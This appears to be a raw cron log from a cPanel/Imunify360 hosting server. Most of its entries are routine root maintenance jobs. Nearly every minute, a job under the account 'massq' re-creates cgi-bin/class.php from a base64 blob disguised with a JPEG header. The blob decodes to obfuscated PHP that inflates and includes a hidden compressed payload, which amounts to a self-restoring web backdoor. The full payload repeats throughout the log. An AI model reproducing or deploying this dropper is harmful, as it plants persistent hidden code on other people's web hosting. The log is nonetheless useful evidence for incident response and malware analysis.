Sep  6 19:10:01 server CROND[26422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:10:01 server CROND[26419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:10:01 server CROND[26421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:10:01 server CROND[26423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:11:01 server CROND[27261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:11:01 server CROND[27263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:11:01 server CROND[27262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:12:01 server CROND[27626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:12:01 server CROND[27627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:12:01 server CROND[27628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:12:01 server CROND[27629]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:13:01 server CROND[27999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:13:01 server CROND[28001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:13:01 server CROND[28000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:14:01 server CROND[28467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:14:01 server CROND[28468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:14:01 server CROND[28469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:15:01 server CROND[28840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:15:01 server CROND[28842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:15:01 server CROND[28845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:15:01 server CROND[28844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:15:01 server CROND[28843]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 19:15:01 server CROND[28847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:15:01 server CROND[28848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:15:01 server CROND[28846]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:16:01 server CROND[29687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:16:01 server CROND[29688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:16:01 server CROND[29689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:17:01 server CROND[30056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:17:01 server CROND[30055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:17:01 server CROND[30057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:18:01 server CROND[30474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:18:01 server CROND[30475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:18:01 server CROND[30476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:19:01 server CROND[30953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:19:01 server CROND[30954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:19:01 server CROND[30955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:20:01 server CROND[31342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:20:01 server CROND[31343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:20:01 server CROND[31346]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:20:01 server CROND[31349]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:20:01 server CROND[31354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:20:01 server CROND[31350]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:20:01 server CROND[31353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:20:01 server CROND[31351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:20:01 server CROND[31352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:21:01 server CROND[32172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:21:01 server CROND[32173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:21:01 server CROND[32174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:22:01 server CROND[32541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:22:01 server CROND[32542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
